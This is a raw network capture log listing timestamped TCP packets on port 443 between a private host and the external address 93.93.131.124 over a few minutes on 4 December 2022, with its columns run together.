                                                                                                                                                  Dec 4, 2022 12:06:12.521588087 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.521609068 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.521620035 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.521687031 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.526778936 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.526909113 CET4434970493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.527008057 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.527755022 CET49704443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.529478073 CET49705443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.529520035 CET4434970593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.529608011 CET49705443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.530033112 CET49705443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.530056953 CET4434970593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.581850052 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.581880093 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.581909895 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.582029104 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.609088898 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.609118938 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.609148979 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.609301090 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.636096001 CET4434970593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.639184952 CET49705443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.639220953 CET4434970593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.656505108 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.656532049 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.656558037 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.656685114 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.702553988 CET4434970593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.702616930 CET4434970593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.702696085 CET49705443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.702718973 CET4434970593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.707804918 CET49705443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.731060982 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.731091022 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.731117964 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.731275082 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.913007021 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:12.913037062 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.913060904 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:12.913181067 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.118916035 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.119039059 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.534914017 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.535022020 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.565618038 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.565659046 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.565680027 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.565745115 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.565753937 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.565766096 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.565771103 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.565805912 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.565848112 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.770921946 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.929413080 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986265898 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986318111 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986341953 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986386061 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986394882 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986403942 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986438036 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986450911 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986480951 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986498117 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986510992 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986510992 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986515999 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986529112 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986534119 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986543894 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986543894 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986550093 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:13.986562967 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986597061 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:13.986757994 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:14.047198057 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:14.047239065 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:14.047254086 CET4434970193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:14.047362089 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:14.103809118 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:14.136158943 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:14.256522894 CET49701443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.017944098 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.018023968 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.018141985 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.050575972 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.050611019 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.148407936 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.148574114 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.163295031 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.163324118 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.163785934 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.193291903 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.193329096 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.228043079 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.228178024 CET4434970693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.228241920 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.229753971 CET49706443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.232342005 CET49707443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.232462883 CET4434970793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.232594967 CET49707443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.233441114 CET49707443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.233479023 CET4434970793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.335927010 CET4434970793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.350250006 CET49707443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.350313902 CET4434970793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.402622938 CET4434970793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.402681112 CET4434970793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.402771950 CET49707443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:20.402796030 CET4434970793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:20.405771971 CET49707443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.035929918 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.036005974 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.036099911 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.050898075 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.050951958 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.146528959 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.146671057 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.152714014 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.152765989 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.153469086 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.186337948 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.186388016 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.221209049 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.221349955 CET4434970893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.221570015 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.229835987 CET49708443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.247833967 CET49709443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.247895002 CET4434970993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.248020887 CET49709443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.249687910 CET49709443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.249707937 CET4434970993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.354775906 CET4434970993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.368009090 CET49709443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.368040085 CET4434970993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.421927929 CET4434970993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.421994925 CET4434970993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.422224045 CET49709443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:28.422272921 CET4434970993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:28.427414894 CET49709443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:38.775305986 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:38.775358915 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:38.775468111 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:38.787261963 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:38.787287951 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:38.872972012 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:38.873202085 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:38.942718983 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:38.942756891 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:38.943275928 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:38.971961021 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:38.972007990 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.006552935 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.006670952 CET4434971093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.006824970 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.047066927 CET49710443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.048183918 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.048255920 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.048371077 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.048753023 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.048764944 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.161494970 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.306659937 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.428430080 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.428525925 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.464452028 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.464587927 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.464605093 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.464675903 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.464730024 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.464730024 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.464795113 CET4434971193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:39.464869976 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:39.487359047 CET49711443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.178925037 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.179011106 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.179188967 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.204646111 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.204751015 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.312285900 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.312448978 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.315291882 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.315311909 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.315677881 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.351361036 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.351429939 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.385689974 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.385852098 CET4434971293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.386010885 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.386564970 CET49712443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.387769938 CET49713443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.387830973 CET4434971393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.387926102 CET49713443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.388279915 CET49713443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.388307095 CET4434971393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.470830917 CET4434971393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.474950075 CET49713443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.475007057 CET4434971393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.537201881 CET4434971393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.537272930 CET4434971393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.537410021 CET49713443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:06:51.537452936 CET4434971393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:06:51.539977074 CET49713443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.093024015 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.093125105 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.093281984 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.111939907 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.111993074 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.204291105 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.204555988 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.221504927 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.221577883 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.222475052 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.254714966 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.254779100 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.289737940 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.289901018 CET4434971493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.289994001 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.290978909 CET49714443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.292579889 CET49715443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.292658091 CET4434971593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.292768955 CET49715443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.293080091 CET49715443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.293112993 CET4434971593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.382539988 CET4434971593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.386853933 CET49715443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.386946917 CET4434971593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.447874069 CET4434971593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.447952032 CET4434971593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.448096037 CET49715443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:09.448131084 CET4434971593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:09.452917099 CET49715443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.472971916 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.473042011 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.473140001 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.491134882 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.491194963 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.574167013 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.574261904 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.581265926 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.581321001 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.581794024 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.611288071 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.611351967 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.646194935 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.646311045 CET4434971693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.646369934 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.647197962 CET49716443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.648825884 CET49717443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.648899078 CET4434971793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.648993969 CET49717443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.649452925 CET49717443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.649480104 CET4434971793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.731359959 CET4434971793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.735306025 CET49717443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.735380888 CET4434971793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.797799110 CET4434971793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.797847033 CET4434971793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.798072100 CET49717443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:25.798131943 CET4434971793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:25.803072929 CET49717443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.129550934 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.129616022 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.129718065 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.136885881 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.136926889 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.226443052 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.226581097 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.229505062 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.229541063 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.229906082 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.252363920 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.252414942 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.292623997 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.292730093 CET4434971893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.292793989 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.293438911 CET49718443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.294887066 CET49719443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.294953108 CET4434971993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.295131922 CET49719443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.295335054 CET49719443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.295351982 CET4434971993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.397505045 CET4434971993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.402301073 CET49719443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.402349949 CET4434971993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.464426041 CET4434971993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.464505911 CET4434971993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.464618921 CET49719443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:07:43.464657068 CET4434971993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:07:43.467437029 CET49719443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.291562080 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.291634083 CET4434972093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.291754007 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.308963060 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.309005976 CET4434972093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.444722891 CET4434972093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.444889069 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.448210955 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.448250055 CET4434972093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.448748112 CET4434972093.93.131.124192.168.2.3
